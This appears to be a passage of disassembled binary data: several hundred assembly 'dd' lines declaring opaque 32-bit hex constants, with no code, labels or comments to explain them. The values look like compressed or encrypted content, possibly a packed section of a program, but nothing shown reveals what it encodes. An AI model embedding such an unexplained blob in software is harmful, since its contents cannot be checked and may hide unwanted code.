dd 5D25C6A0h, 2E365C00h, 84156321h, 5850968h, 9A0E47BAh
dd 7E174EDEh, 0A3A6ACE0h, 23007844h, 69BB526h, 0ECB89CDh
dd 31D228E7h, 76831AC0h, 0D9269118h, 3600D0ADh, 9DB18F49h
dd 0C60302F3h, 7020EBAAh, 0D2C0F340h, 0D556DA18h, 3A13FC49h
dd 4A0311CFh, 0F8D8ECE2h, 25FE1801h, 74B1E0C6h, 60A627D5h
dd 7AEA00C0h, 95BA4304h, 6FD5AB00h, 94E6A84Bh, 0CB0A0015h
dd 73574DEBh, 8F009119h, 79D992DEh, 98781FB7h, 0A5D80238h
dd 8772DDE7h, 67F5D360h, 97617D00h, 3A2ED02Ah, 0EB7A0043h
dd 870AD7DEh, 4B73DD77h, 78948400h, 0B3EFF176h, 0D67F03C8h
dd 0EAB5C596h, 40880E4h, 1000ED2Dh, 0F050BC44h, 0A93EB3h
dd 7AB261Eh, 0D3A5CFCCh, 9B70DC26h, 4E4D0300h, 0D7DD13h
dd 0BD6ECBB2h, 0AF43ED62h, 387D900h, 0A8BC9A75h, 6FA40E54h
dd 0C7E04B72h, 26371B2Eh, 5D2B820Eh, 4D512070h, 0EBC0FFh
dd 3274AE9Fh, 24D14E56h, 0F8F54F1Dh, 88D8428Ah, 46073900h
dd 369AFBh, 0E7687CA1h, 7D6148D5h, 66B3860Ch, 0E8118Eh
dd 381CB08Dh, 2E01E212h, 2B0075E8h, 0A59E3788h, 6021F17Dh
dd 0F4D595Bh, 384C47C6h, 0EC40017h, 1A48155Ah, 70DC985Bh
dd 9FCA00C9h, 53969771h, 0BE007AABh, 0C88A8C1Fh, 2473321h
dd 0FE72E73Ah, 64E0CE52h, 0B800E9A4h, 226CFCB9h, 7FACA9Fh
dd 0AF15AD92h, 3C76D0A3h, 90043039h, 4B8E9197h, 0B013BA80h
dd 9CAE4878h, 0E11012h, 4FC119F4h, 0C770741Bh, 0C6D77A00h
dd 775CF352h, 0B8F0032h, 490544DDh, 0B1017BA9h, 8460C1D4h
dd 0B6C0CF0Fh, 0DF7F0066h, 89D28AEh, 200037DBh, 0E50CBC4h
dd 15DE2FEh, 0C6533A2Ah, 0F87FE3F3h, 75059252h, 27951B85h
dd 0C8D0A80h, 367B4Eh, 414A31BDh, 66300234h, 0E4EB991Eh
dd 0E74EAAC0h, 0FCC8AB1Ah, 73D748B1h, 9DFFAD04h, 0F1CC00Ah
dd 0E7009B20h, 21B0555Ah, 6F32AAh, 5CFD8BDFh, 1F9ECF4Eh
dd 0F702F113h, 0B81DCB13h, 37C65A80h, 26908878h, 802056CDh
dd 204AFE4Ch, 9E00FB5Dh, 3DA27660h, 7A50D06Eh, 3BB6256Fh
dd 21DC7080h, 480761EBh, 6FD57C9h, 39BADFD0h, 0A970018Bh
dd 59DEF2C8h, 0FBF4C86Ah, 3C8CC005h, 8874AF5h, 79073FC1h
dd 269E7460h, 16DCA3h, 0CE66323Bh, 0C4E68D5Ah, 4AC99B00h
dd 3FB65F8Fh, 62AF4B4Dh, 502EBD4Ch, 4DCD3283h, 6D2DA000h
dd 9F9184A0h, 5BB90078h, 0BF43C1BDh, 0FC00245Ah, 4F11EAC2h
dd 0FFFB10Ch, 0CEB03AF1h, 4DAEBC20h, 82005D32h, 6152225Ch
dd 4841FEF9h, 4F0B748Ah, 0A7008DE6h, 0E2B9B2C1h, 8E107201h
dd 4EBBD589h, 92933EF0h, 67B1060Ch, 4890026Bh, 0D76FE100h
dd 0F1AA0E47h, 28B60C81h, 1211246Eh, 5316C317h, 0D4779841h
dd 0B0EFEC2Eh, 166FDF2h, 0BD83EFFBh, 80E7DDDEh, 0ED9EE519h
dd 77602D3Dh, 28590353h, 0D2D0B247h, 12D7F390h, 0E100DDEAh
dd 2474F50Eh, 2AA6C8h, 94396E62h, 0D49C1455h, 21C57700h
dd 27F1962Bh, 348172Ch, 44E0009Bh, 0D36E39ACh, 4FABC100h
dd 869E5228h, 0D887005Bh, 0FB429BA2h, 343B03B1h, 643F1496h
dd 9C7F07F0h, 7B540BBAh, 248210E0h, 0E84C47h, 5EE877F9h
dd 0C0B0DC3h, 80B9DF0Bh, 6B9A7CA5h, 0B0ED5B93h, 9F00811Dh
dd 48639B99h, 738A5BCBh, 3C35017Ch, 94D2FEBDh, 99B9EC89h
dd 254F000h, 3985F3F9h, 6BE400E5h, 87919BEh, 0C0001571h
dd 0E04CDC73h, 4EECF4h, 9D755937h, 6A8EA407h, 9B732000h
dd 7FC517EAh, 0FDE818h, 81F1ADFh, 8E434FD2h, 0A78A0900h
dd 0D099B1DCh, 223C1C2Bh, 0D8604064h, 131BC1CBh, 7A75CE07h
dd 0A1905E0Dh, 0E9A069h, 4517D75Fh, 284005FFh, 0D005977h
dd 5AB5D213h, 3CEF7116h, 0EE610F60h, 60DE587Dh, 0ED00572Ah
dd 647B5A17h, 0C0976092h, 11DA9148h, 1578EAC5h, 0C22AD060h
dd 1D51E0F4h, 0CE326D61h, 0DCC0CBCEh, 278F8022h, 2D4FEA00h
dd 0F41206E2h, 0F6AA0F90h, 0F3A029EDh, 0D2F56C8Ch, 8109AD39h
dd 82797D10h, 0FCD8F422h, 83ED0FB3h, 95CE5D8Ch, 8811A98Ch
dd 7568EB00h, 7C1846BCh, 0A22D3F78h, 0C4A52481h, 80F301AFh
dd 8E0FEF28h, 1685C72h, 0E9425E66h, 0ECB187E5h, 1600B24Ch
dd 5D4EEDDAh, 728C8A1Dh, 0D5D30078h, 77BAF469h, 9305788h
dd 10BF11DDh, 79E274DAh, 1BDC0A66h, 3E8F801h, 5C5AE86h
dd 6E02D6E8h, 3D11DCFDh, 0CEDA7700h, 54FB2E2Ah, 647881h
dd 0A2B10890h, 1C85C0Dh, 0B7008A98h, 0E602D59Ah, 0C7881Fh
dd 81A51283h, 0FFC58AEBh, 6C207B03h, 0F850E047h, 93CC86h
dd 70C8BAADh, 0E517D605h, 3259F200h, 97CBC0FCh, 7AB5EEDDh
dd 1F21C7C1h, 53CF505Fh, 0A200F454h, 83C4197Dh, 39737C51h
dd 6E0FA85Ah, 9F8B1D98h, 0D40580FFh, 9ED4148h, 0B4BF4AA0h
dd 8CC4F100h, 0A5002713h, 3EFF4E1Dh, 0A35218D6h, 7E1B98C3h
dd 31CD3D8Fh, 3A2F9D00h, 92414990h, 0C6F73Dh, 5E3322CEh
dd 461239h, 85513503h, 61E8B9FEh, 5C9E4000h, 0A02BDB0h
dd 964F07E3h, 203541E5h, 11A481DBh, 0FAB47B00h, 570EA56Ah
dd 8EF41F5Dh, 7C9F4088h, 65D80B3Dh, 6D541F2Ch, 7F845300h
dd 66504Eh, 34D4FEAAh, 59B9805Bh, 141551Eh, 0F11300F9h
dd 3DE2285Eh, 42600423h, 8014CF6Ch, 40ACD42Ah, 8C29650Ah
dd 600EC0F2h, 0C7A1E005h, 413E58h, 43B18246h, 4588B7B4h
dd 1DF4941Eh, 93A200FCh, 957456FDh, 59D40048h, 90D05EC8h
dd 38008791h, 0F9415777h, 6984383h, 718BB4C6h, 10DF548Fh
dd 8DAAF700h, 0C7778FFh, 0B4407FFCh, 15001938h, 3457AF4Ah
dd 0C042EC70h, 7DF3DF30h, 0F500FB1Eh, 0AF460DFAh, 28A9388Ch
dd 0A64D75h, 7C8685C6h, 0EDCE43DEh, 0D5F1B400h, 0A98FB129h
dd 7DA0047h, 89236F8Dh
dd 0EC24D21Ch, 0FD00CAC0h, 7B99B53Eh, 7E0798A3h, 3680394h
dd 2B871D70h, 0AA5647F8h, 9B0D4D00h, 0ECB5B397h, 52FAAFh
dd 0DCBF9810h, 407470E6h, 627D8800h, 0E5EAFB7Ah, 0AA9A00C0h
dd 4D45333Ch, 6B1E40B9h, 47C0685Dh, 9B30F64Ah, 12FF095h
dd 71836A92h, 0DC17D5C6h, 0DF032BE7h, 10BB0A60h, 90E80199h
dd 6F882182h, 0A2B5C445h, 0E7CB0F00h, 773A482Ah, 0BC795Bh
dd 0F2F12547h, 0B7A21517h, 4650EC03h, 98CB2613h, 2475993Dh
dd 12995370h, 4D4E007Ch, 0BF5888Ah, 0ECEAAD02h, 40AEC0DAh
dd 0EB15443h, 4E261FEEh, 0A5C4AFA0h, 0F0003C43h, 5F0E76FBh
dd 76A211Bh, 3D5340E4h, 694A4187h, 5C95D42Bh, 2900647Fh
dd 7D3E4E99h, 4CB5E06Eh, 0C600CD60h, 0ACA7D936h, 9600DE02h
dd 0C3CE5377h, 720F928Ch, 7A720067h, 57EAE43Eh, 4400D28Fh
dd 6A4C586Bh, 3D868D60h, 6500D0FDh, 85E1A3F1h, 3200B642h
dd 43BBC1C0h, 0D18AF8h, 0A0CCFB23h, 9025FF51h, 0B030BA0Ch
dd 204EA4h, 1B656254h, 7211E50Bh, 18A61900h, 22557704h
dd 0B29A00BBh, 53ABADDCh, 2CE21D44h, 0E1B7EF0Ah, 8B1CC8DFh
dd 5793040h, 1A5081h, 0A26B29BFh, 0EA17B6F7h, 1BCF2C00h
dd 6EB2414Fh, 3C7D3Dh, 0E157C3CDh, 0DC8C0BA0h, 0AE5F8A00h
dd 9958410Dh, 530A0392h, 45F01821h, 2C386000h, 867DB5F9h
dd 0EBE10067h, 0CE339BB6h, 20C38757h, 93400AA9h, 4CA7C039h
dd 24109852h, 1EB46B23h, 3E371E38h, 8A890070h, 766DEB7h
dd 0B6006726h, 0AE3E2F5Fh, 141540D8h, 3CCB0B69h, 519DD607h
dd 621480A7h, 6D0F4EF7h, 9D3039B4h, 0A0FBAF0Fh, 5103F844h
dd 0B6471452h, 548D2065h, 0FA908588h, 0C02C010h, 0A5B51A2Ah
dd 0DB0034A0h, 4562138Fh, 7D8200F4h, 0C0883C57h, 0C500EF2Ah
dd 0CB436491h, 717325F3h, 0C8AD4CFDh, 68FEDB00h, 0A08A1BD1h
dd 0B300547Fh, 0EF5FD8BAh, 645782h, 0E170350Ah, 56D79DA4h
dd 0BF870D05h, 80AB485Ah, 13B3E60Ah, 4B114600h, 67DB27C5h
dd 7254269Ch, 0AC2258h, 0A4C66313h, 7D22B56Bh, 0E08AE100h
dd 0F6D94906h, 0C58B0A80h, 81C481D6h, 0B5C792C2h, 0B0408654h
dd 30E99501h, 6538FCEBh, 6E00B9AAh, 0CD404FFEh, 0A01ECAF1h
dd 4BD920h, 421774AEh, 467DB0F9h, 7361C00h, 0C928B175h
dd 0BCAF2E6Ah, 0E3DD07BFh, 4E616CE1h, 26B0AE07h, 0D5432736h
dd 95190599h, 0AD16B69h, 80C01CFCh, 0B1573494h, 4500223Dh
dd 8A7E48E7h, 1F7EEBDh, 1F13ABC5h, 60C3B86Fh, 0EF4CAD0h
dd 255EA1C0h, 0E04BC7EEh, 9BCB0039h, 0AFC80B9Eh, 0E0C46428h
dd 8C942E12h, 4DC68C00h, 0EF4034h, 13FD420Bh, 0E40AC8C2h
dd 0FC4E691Ah, 0C1041D10h, 802E5C7Dh, 3F920A10h, 0DA70E5h
dd 6B14DBC4h, 0B43DB8CAh, 0D9B1B600h, 95559142h, 1C6074E4h
dd 0CFFA38h, 823EB4F5h, 79001DC5h, 3AEDD432h, 544D22h
dd 961E278Dh, 80205FCAh, 0E319240Bh, 0E012006Ch, 0A79FC8h
dd 8AD4DE91h, 0CCCF7AA4h, 0E929C400h, 7FB2F550h, 0C6E442h
dd 0AA8A194Bh, 85D057E7h, 0C00EE100h, 5905BC52h, 0CF1007DBh
dd 0C196C879h, 0D01257DCh, 20007546h, 0AB5C7CC6h, 270AA5h
dd 0F6508236h, 0C254F911h, 520040EEh, 43AB6D0Eh, 87B6E0h
dd 0E7EEDB81h, 7C1CEFB3h, 0F9CE300h, 0D326FAC7h, 4A5400DEh
dd 5F36CB88h, 0EE002A39h, 0A5573AB4h, 982068h, 7E9158A4h
dd 16BF30D7h, 0D56A7200h, 1B151834h, 24C10FB2h, 85007B89h
dd 93171244h, 0A1E7491Fh, 9BD7D401h, 20807D0Bh, 1D0F3351h
dd 0AE00C5C0h, 159244E4h, 0A40A12Ah, 0BD8C0C63h, 0A09C00E4h
dd 6FE49125h, 0EB880A09h, 7999801Dh, 769B95Eh, 0B4707E10h
dd 3D6F2098h, 1D062308h, 788AE3B2h, 0E7DE0C11h, 5AD8899Dh
dd 0C70232F2h, 0E8218B5Ch, 0A0516297h, 0BF769518h, 15AB0108h
dd 4209B267h, 6583D0E0h, 6D267300h, 4E17DCF7h, 0BC1B0066h
dd 0F18BAF35h, 3F00F361h, 0A6D9CCEEh, 18E348h, 62CFDE21h
dd 0D278F9C0h, 28EC5C00h, 0FFABF0EBh, 0F45B3C74h, 99736480h
dd 25FD700Bh, 55BE3600h, 5E6A8E62h, 0D893005Ah, 0ADDE666Ch
dd 0EA1833D5h, 98C082FBh, 9D7894h, 48F6FC03h, 8E6910A8h
dd 0C85B6707h, 893B85h, 94FA227Ch, 0B9B0C0B3h, 56034924h
dd 0DD712609h, 1C7B0002h, 0CD9FBEh, 0EE0DAAB7h, 4F419803h
dd 593A4671h, 390B0640h, 2150147Dh, 551FF8F7h, 0D826765Bh
dd 1D0CE6h, 24DE4011h, 0D4614D47h, 0A814E31Fh, 12394B07h
dd 959E19E0h, 2E770799h, 0E0FDBC49h, 487B7392h, 0A1C6C18h
dd 122741h, 7E44D3D0h, 0AA039C75h, 4CE4CA00h, 98B65B47h
dd 0F5DB071Fh, 435192E1h, 69B083ECh, 0FF03E001h, 0C495B07Dh
dd 3FC2AF08h, 4AD7402Ah, 4EA20020h, 51141D34h, 0F2008D3Bh
dd 699CAEFFh, 82B01Ch, 6C2BF99Fh, 0E704FA03h, 0C3D42F04h
dd 10905572h, 8C77D0h, 7AA597CDh, 1F38519Bh, 8FF45300h
dd 465B10E8h, 0B4231728h, 0A31E0026h, 0E935C952h, 4A533Eh
dd 5AA1AFB9h, 597FDEh, 108B2731h, 261B9BC6h, 53F26A1Ch
dd 9E6096CFh, 0FBF1EC80h, 585DEE3Dh, 0AD173551h, 0CEF70F06h
dd 0C15B5260h, 2400FD20h, 0BBC8EE4Dh, 33B61Bh, 0D931C0BDh
dd 0B8B90BF7h, 0A700C672h, 0DE2404C2h, 0BA3540h, 9528B36Eh
dd 72B9A452h, 4D86F400h, 7B9EC21Dh, 34D00031h, 76C1EA35h
dd 68027E37h, 0E3CB925Bh, 82D6C0AEh, 16DA0F79h, 75003BB1h
dd 4C11198Eh, 3A3DFC00h, 0B2562A1Bh, 0B9858h, 3B6F34C2h
dd 0B635C7EFh, 1E4FF800h, 82DE9CF0h, 53253044h, 59367338h
dd 0BAE8AF00h, 74BB2EFDh, 325A1CF6h, 81F78095h, 434A914Ch
dd 0DA048D1Ch, 7B55A700h, 77FE52Ah, 4250982Bh, 6122B18Bh
dd 0DD2034A3h, 4DC00C02h, 40608965h, 0C81F3Ch, 1E665347h
dd 73A4DE3Fh, 4F0E7A00h, 2CB91D38h, 2C98480Ah, 5DC66C00h
dd 74ADE4BAh, 2544509h, 0D3DC005Eh, 3C98A063h, 68C98C1Eh
dd 613DCC02h, 40C899CDh, 207487ACh, 0A6FB2A03h, 0C0C0C217h
dd 729461C7h, 64D9019Eh, 0D2CD4BECh, 0DAE3FC4Ah, 0AB291B07h
dd 51275DB2h, 0F77420E0h, 0F16E02F6h, 7DA80534h, 0EB1A3E3h
dd 4922D49Fh, 0BC144Ch, 7EECE54h, 0ADF1C2h, 0E7125CF3h
dd 0D9CD83FEh, 0C7CA900h, 7134C0FBh, 0F79B006Ah, 76C73BEh
dd 500CF89h, 0C2A21EF0h, 816120h, 0BA7DC6AFh, 0B7F57495h
dd 0B03D0600h, 0E31A6EC4h, 87ED01A5h, 5580C596h, 0DD22C0F6h
dd 0FFA3E700h, 0C67E2309h, 0B4D83F6Eh, 2B80D73Dh, 0D150ECBBh
dd 94008DCCh, 0BD212A63h, 18168DBh, 30D44C79h, 0EDE05EC5h
dd 0F2AAFD07h, 0EB026440h, 191D5001h, 0B2B9E47Dh, 3E5178F0h
dd 6B879C32h, 0C7031FA9h, 0E88089EFh, 0FA23745h, 2500D07Ah
dd 0C8D8EE33h, 0F83B7FA6h, 291500C5h, 7B5D8E05h, 20007907h
dd 95B9F44Dh, 393A01CBh, 0A8FB49BBh, 3F1BAC8h, 1071FE2Ah
dd 83D0233Bh, 0B90FF8B3h, 6003E021h, 0E2E79AAh, 0D6F6B2h
dd 61621E26h, 0F991BEDCh, 808FA43Ch, 7135E788h, 0D4FBAAh
dd 95794876h, 83EFE003h, 9D470707h, 2FF01D99h, 18FAC5DEh
dd 3078FE30h, 0C70756D8h, 0E9B03AB5h, 4F7CADC3h, 0A0AAB018h
dd 1600CBE6h, 1C55D789h, 955080h, 0F27CB7F6h, 8E496B21h
dd 0A03D0E4h, 0DB084D2h, 9227A0F4h, 549349B7h, 55CDF601h
dd 303DA7BAh, 8F1C45DCh, 0DA400176h, 7DCA63EBh, 821C1243h
dd 1031383h, 0ACA3D650h
dd 6A5BF878h, 8723363Fh, 6530C01Ah, 7F062970h, 73E00F47h
dd 10C0EAD9h, 0FC4FF2E5h, 79C0ABB0h, 0DDB02665h, 0A1561DEAh
dd 7C8405DBh, 8910006Eh, 0F9AE03B5h, 98397303h, 0A0D67211h
dd 0A0BDD5DEh, 369428h, 5E288F4Dh, 69B87D2Ah, 0A400DB70h
dd 0E5667256h, 7497598h, 0E28BC75Fh, 5E30731Bh, 7C63D488h
dd 0CC31F60Eh, 93C2C058h, 0D871C5h, 6B13FD16h, 994A146h
dd 29017216h, 96278000h, 7D52E1h, 10D55E18h, 8F69A305h
dd 0E63C8900h, 369094A5h, 77B40796h, 0F1B5472Fh, 4020951Fh
dd 0A142ED6Ch, 673C66B8h, 4860800Fh, 0F478E673h, 0ACE9012Ch
dd 534CEF5Dh, 153B606Eh, 1735700Fh, 128D606Dh, 3DB3E3Fh
dd 0DEB3B60Ah, 0E2805926h, 0C298FBFCh, 8053FD38h, 6A4CF810h
dd 3235DCBh, 0AA161A73h, 0DC0FA0Fh, 58001D61h, 0A5E2F8D4h
dd 8DDA42h, 128B2935h, 0CDA706BFh, 0B12E5A07h, 22D7F2B4h
dd 0D6889EB0h, 0ED0700F0h, 3DE63BEFh, 8C0044D9h, 5E963387h
dd 3B7A6ABh, 0E55901BEh, 0F170FFF6h, 0DAA71201h, 157C4FB1h
dd 283AD028h, 0B5528D94h, 8A5F6305h, 9630C1BCh, 8439800Ah
dd 0DDDCED5h, 0E6470153h, 96CB5CEEh, 13FC43F7h, 288948Bh
dd 5300F624h, 54AB0F90h, 683DBDh, 0E0FCCA72h, 63B99EFDh
dd 2157FB14h, 6D990384h, 0AB2CBAF1h, 0EFFD9818h, 0C74B0050h
dd 28942F98h, 0BB0E353Dh, 40F2661Fh, 0BDB2E091h, 0C88800D8h
dd 86B664A2h, 600041F5h, 0A35C123Ah, 0CF2CA1h, 2D65F80Bh
dd 8C2A3399h, 4148A500h, 67D26A9Eh, 0DD2B182Ch, 1C3F58ACh
dd 604C9F00h, 0ED41F8E0h, 0B37829h, 346426DDh, 3F0663B0h
dd 75CFAA01h, 88A98690h, 58C5044Fh, 43207AD0h, 0DB85BF04h
dd 69D020ACh, 51E8F3Ch, 5A9ED3BFh, 0DF35102h, 5493007Bh
dd 0AFF4497Dh, 6EC2E000h, 9ABEFC8Ch, 865E0003h, 0D20DE924h
dd 88008AA7h, 6349C169h, 0F544304h, 0DC9FCDD0h, 2088680h
dd 0D9003FC3h, 0ECD48F7Fh, 9073EB2Dh, 425A3A88h, 6749CD80h
dd 3A907F52h, 1C8B9805h, 202CA0A2h, 72374655h, 9F501900h
dd 0AC10770Fh, 306E7F93h, 1BE8C145h, 24E0E4B0h, 0AF849D0Ch
dd 3FF31972h, 0FC7BF4h, 0A30CB78Fh, 4677383h, 0AE066A02h
dd 8087F3B6h, 0D3929884h, 6964038Dh, 69450C2h, 0FFCDF5C0h
dd 41ADFC0Ah, 0A038808h, 758D8CFh, 0D7D03060h, 73DD402Dh
dd 0F402080Fh, 0ED51A4F3h, 0A8C8A3A0h, 0A9E000E4h, 849B87E5h
dd 2200ABCFh, 0FE56F88Bh, 674831BDh, 0C7B3B144h, 0C60E80E3h
dd 0CB6C376Ah, 0A8830679h, 0EC85DBE8h, 0D360CABBh, 0CB230034h
dd 0A413685Ah, 9E00A8F8h, 810293DCh, 88409FDh, 5DD1C4E0h
dd 8E1F4186h, 3B680099h, 630574AEh, 115CF309h, 0B6441E6Ah
dd 88BAB747h, 9ACE4D81h, 36697C0h, 45CA4668h, 3B54838h
dd 40CEB75Ch, 0D12A9C8h, 0E88BB80Ah, 3D40D0A0h, 0F23D0CDh
dd 1E91D9A2h, 402383C9h, 8901F1A8h, 0D50C28DDh, 0A7D09B0Fh
dd 0AA5900DBh, 51ECDA55h, 4100F0E5h, 80E8049Fh, 0C0D6A869h
dd 83461239h, 0FF0081DDh, 8CF89290h, 1249BFECh, 96173E5h
dd 5890EE78h, 39C3DEA8h, 0D8955BCEh, 0FE04240h, 0AEFD21E5h
dd 1EB39DA0h, 3B00B9FAh, 0E8586F59h, 2402077Ah, 56095FBh
dd 476BC651h, 55B649BCh, 0C3941DB1h, 3ECAC473h, 1849E90h
dd 7DC1CF00h, 6B04E6F2h, 9BE30AB8h, 40F87354h, 0D74EA79Dh
dd 26BF3800h, 380EC65h, 70130255h, 82560C40h, 5CA9C449h
dd 1D009FF8h, 253AEEDAh, 3D790DEFh, 921F7097h, 0E8B3947Eh
dd 613034C0h, 4801162Dh, 5559496Ch, 7C24F1D3h, 0E447B8C8h
dd 27071462h, 7080CCC9h, 9C4BB0Dh, 159921Eh, 0D92777C0h
dd 39AB0Eh, 6D7A02B3h, 0F34928D8h, 558C2F00h, 0E92F99Eh
dd 13A7019Ch, 0F159302Ah, 0FEE66020h, 395DB000h, 5EE7CBCDh
dd 66D8C0FFh, 0FB788F9Fh, 0BA77C90Fh, 35077FE4h, 7C80DAD8h
dd 0C1922Fh, 703962D2h, 0F481C260h, 287E0F01h, 0B1524AE9h
dd 460ED4h, 3AC5FDAAh, 0DF82CC2h, 14E8C000h, 5B80541Ah
dd 4C483D65h, 8E51FA80h, 2017E231h, 42ADB00Bh, 3FCB83CEh
dd 302CC84Bh, 0C7F9A022h, 77B85Bh, 66464F68h, 84EB0394h
dd 42B55903h, 8E0145h, 44BFA459h, 2B569E58h, 0B3357800h
dd 4F31DCCDh, 0E6CF8F7h, 94EDE2Dh, 0CAB830DBh, 0F030F516h
dd 0EF0D104Fh, 0ACE40CF4h, 15C05D87h, 0E356F20Dh, 0C8C4316Ah
dd 0DBAA004Ah, 0FD1882F4h, 201F6F3h, 1B523BF8h, 2DC45A20h
dd 9E7D0058h, 0F7A08A9Ah, 6F3B19D8h, 66988003h, 1BC1FA20h
dd 6D0708E7h, 8039658Bh, 85A33A14h, 0EFF05F5h, 0EF023D66h
dd 0DEFC1280h, 800822CBh, 215934D4h, 0BBA81F7Ch, 492E3B00h
dd 2F0508CBh, 4500F490h, 39754B55h, 15B7C66Ah, 0AC2E5C8Dh
dd 0F6BAF207h, 0A950FCDDh, 0C9502398h, 310E1DE0h, 0E1B76658h
dd 1BBAFB82h, 0A7698C40h, 19264091h, 483E9330h, 982D5365h
dd 54427294h, 1C89456h, 971B551Ch, 0ECA26FADh, 0A31E92Ch
dd 163771D3h, 0CD1E8987h, 417130F1h, 6D07C98Ah, 0CC47B2A3h
dd 0A66D9F0h, 0F6750E88h, 5D009E85h, 0FBBAF43Eh, 0FD7D8CAEh
dd 4D8ABCA8h, 0BF0DA8A8h, 8509E703h, 0A0031750h, 0EA362B7Eh
dd 64CB005Ch, 62EB1544h, 4202B696h, 0F9565889h, 0E820808Ch
dd 3EDAA4D6h, 4F80618Eh, 115E05B3h, 0F4024BA5h, 0D18D9EB2h
dd 0F5A89013h, 0AFA403A7h, 27372C08h, 0EA1C1900h, 0D7BF5F93h
dd 5E210117h, 0DE8331B7h, 53423E3h, 96B0152Bh, 670DE840h
dd 3FD3C00Ch, 75BED6D5h, 0DCBA0882h, 0BC90AB18h, 0BB022D40h
dd 42A8EE3Ch, 7724448Ah, 0D0C60034h, 25AE9E83h, 74A80F6Ch
dd 0EE00CC45h, 0F13F0917h, 63E89518h, 98303820h, 46038176h
dd 13514709h, 0E10C0B6h, 0EACC90F3h, 85A21FABh, 0D22200D8h
dd 29FA88D4h, 5D86048h, 4C8EEA8Dh, 59B0C45Dh, 37EBC44h
dd 0C3418539h, 47A0CAFEh, 80ACE27Fh, 380084A6h, 0B6213C8h
dd 51D46Dh, 0AEB23EAh, 5845C439h, 0F60FFA98h, 0A0CAE1C8h
dd 61687F20h, 0FDF03A19h, 0C4175800h, 0BF6D920Ah, 3811590Ch
dd 0D519CDh, 98F8563Fh, 96DDEB82h, 4A13AA00h, 8742C56Ch
dd 79B0712Ah, 0E90901DFh, 8A21FBB1h, 43C6F403h, 400257Ah
dd 45764993h, 0F86451h, 9FE1B16Dh, 0A3ADF2C1h, 0DFA67402h
dd 821B77CBh, 20BAA94Ch, 2508C64Bh, 6A9A0D1Eh, 46026B00h
dd 147AE22Dh, 14DCAB19h, 0EA98CB00h, 7E95A0D0h, 803B48DFh
dd 198AF4B5h, 70D9C6Bh, 0A0A95124h, 8E4F005Bh, 0F200408Ch
dd 7AECD55Dh, 0C06B1E77h, 0CE2DFB38h, 0EA0080B8h, 797CE2EFh
dd 62A4A88h, 879EAD52h, 3830F86Fh, 319F81CAh, 0BAF0E5h
dd 0A030771h, 20B64B8Ah, 63962D03h, 97C9E1ABh, 0B4BFE6A0h
dd 0F7D47h, 80840E8Bh, 77C6228Fh, 2AC84254h, 0B9F54330h
dd 0DFE0A9A0h, 71401B99h, 73922BE0h, 0DDD8C650h, 1A199900h
dd 0F3058F43h, 444F1DFAh, 6514C0F1h, 39CBD0C0h, 3B01C55h
dd 3A1FC5BCh, 0CE43651h, 8998B41Dh, 56A470h, 1F2FA25Ch
dd 2CE58A17h, 0C6AF7902h, 4C623F67h, 7F2A3B14h, 77C13961h
dd 0FDA98EE2h, 83077FC3h, 0BA40E618h, 113D993h, 0F311BBD0h
dd 8A6B5401h, 0D896A0C9h, 134FC140h, 1CB6480Eh, 0B9A1A0C6h
dd 12145802h, 4033A3FDh, 0F3E00h, 66D6F934h, 6186C009h
dd 4ACA4C00h, 603C7DFAh, 0E84F005Eh, 4B038FF2h, 5D06DFA2h
dd 6A8783B0h, 665430C1h
dd 639A4589h, 88A0B67Eh, 5C5C744Bh, 0E83B7380h, 1BF85085h
dd 60F25504h, 1881EBFFh, 16046A2Ah, 0C0ED1CE4h, 4C138733h
dd 0B015D230h, 0C3D4774Fh, 1228FDCBh, 70AA19D1h, 0BED83874h
dd 4330D6EDh, 3FE900A9h, 42768119h, 0B2244058h, 258010A0h
dd 0EE10021Ch, 0E4D700EFh, 0FA592EC5h, 200407F9h, 0D4FFF257h
dd 0D387080h, 42BCA652h, 0B82A2E97h, 0F6230E01h, 6884622Dh
dd 0CCAA29F8h, 0BC0E1910h, 7E4FE347h, 1B95D907h, 3EC17680h
dd 0ADD3008Bh, 9354D667h, 58A9AA0Fh, 39F10049h, 0A8577692h
dd 0C5A97CBCh, 229BA0C1h, 0FA3808F0h, 30F3EADAh, 9389B942h
dd 0F8008D9Fh, 71779CEDh, 0F67841AEh, 0E2B60315h, 229D04E6h
dd 709E48E0h, 376160C0h, 7128D64Ch, 0EF4600F7h, 0B569D71Fh
dd 9C00DA5Ah, 5DD01A4Fh, 63E7019h, 54677D3h, 60171C6h
dd 292DBCDAh, 3C08407h, 24BF8CBh, 71877391h, 0B06C3946h
dd 886CB424h, 0F8D1480h, 13A25E9h, 0ED484A2Ch, 0C02BEBD4h
dd 650916DCh, 9841FDA7h, 18174340h, 0B971990Ch, 9403ABFCh
dd 0E2855DD6h, 5680EF6Eh, 34325BBh, 6397C0D8h, 78248FFCh
dd 0F1C434CFh, 4C297CCCh, 0A73A2CDAh, 89634180h, 8E357B79h
dd 1711FB07h, 0EAE258C0h, 0AFCB207Dh, 8370104Eh, 0EDE6700Ah
dd 9E1FF428h, 1C3AD4EAh, 5F2AAC37h, 0F6891503h, 0DFC809F2h
dd 0CC82EE93h, 0B423C18Eh, 408900BEh, 0EECE5C02h, 0CA09859Ch
dd 203477CDh, 0ECE533A0h, 0E05C0049h, 0AE939732h, 3071385Dh
dd 9464CF28h, 190496F0h, 0E10AA30Ch, 44E988C8h, 0F4CC17Eh
dd 3B15081Ch, 0F0AF1082h, 93FFAD1h, 6745541Bh, 388BC05h
dd 0D407AEABh, 748BB900h, 0FFDA83E8h, 0BA9B242Eh, 0F03867C8h
dd 0B99C10Ah, 7CD83453h, 5A134818h, 1392914h, 0C42B977Fh
dd 0E4E31BA3h, 6048FF5h, 5DFC3583h, 640098C4h, 0A84DC81Dh
dd 9E7D02FFh, 0A1E78101h, 0A015A44Eh, 28982B93h, 1C005438h
dd 0F6677189h, 0C3D2D96h, 0A777454Ah, 25009059h, 0AEEDB9FBh
dd 791ACD74h, 3A484830h, 0B524DC4Dh, 4AC04058h, 4E0011A5h
dd 0E32B63B4h, 168184h, 49DA7DBh, 482DFF6Eh, 0D05D7413h
dd 32BF8405h, 66A08840h, 0A5150E49h, 12F413B4h, 2930009Bh
dd 2DEC10Eh, 0CBB52802h, 84702FFCh, 28C150D0h, 0E8931E49h
dd 0CAC4604Eh, 29D22E28h, 11003C14h, 0F700A6A9h, 70AFDAFCh
dd 0E4052FFh, 8149F040h, 0F7B04894h, 1646F03Eh, 0B40C5ABFh
dd 16190Dh, 0E6604C31h, 28BCDC9Ch, 8A4DF51Fh, 0E9DEE880h
dd 31FD13B4h, 0D0D02B6Fh, 47389D1Ah, 819CAC54h, 9F45E9CEh
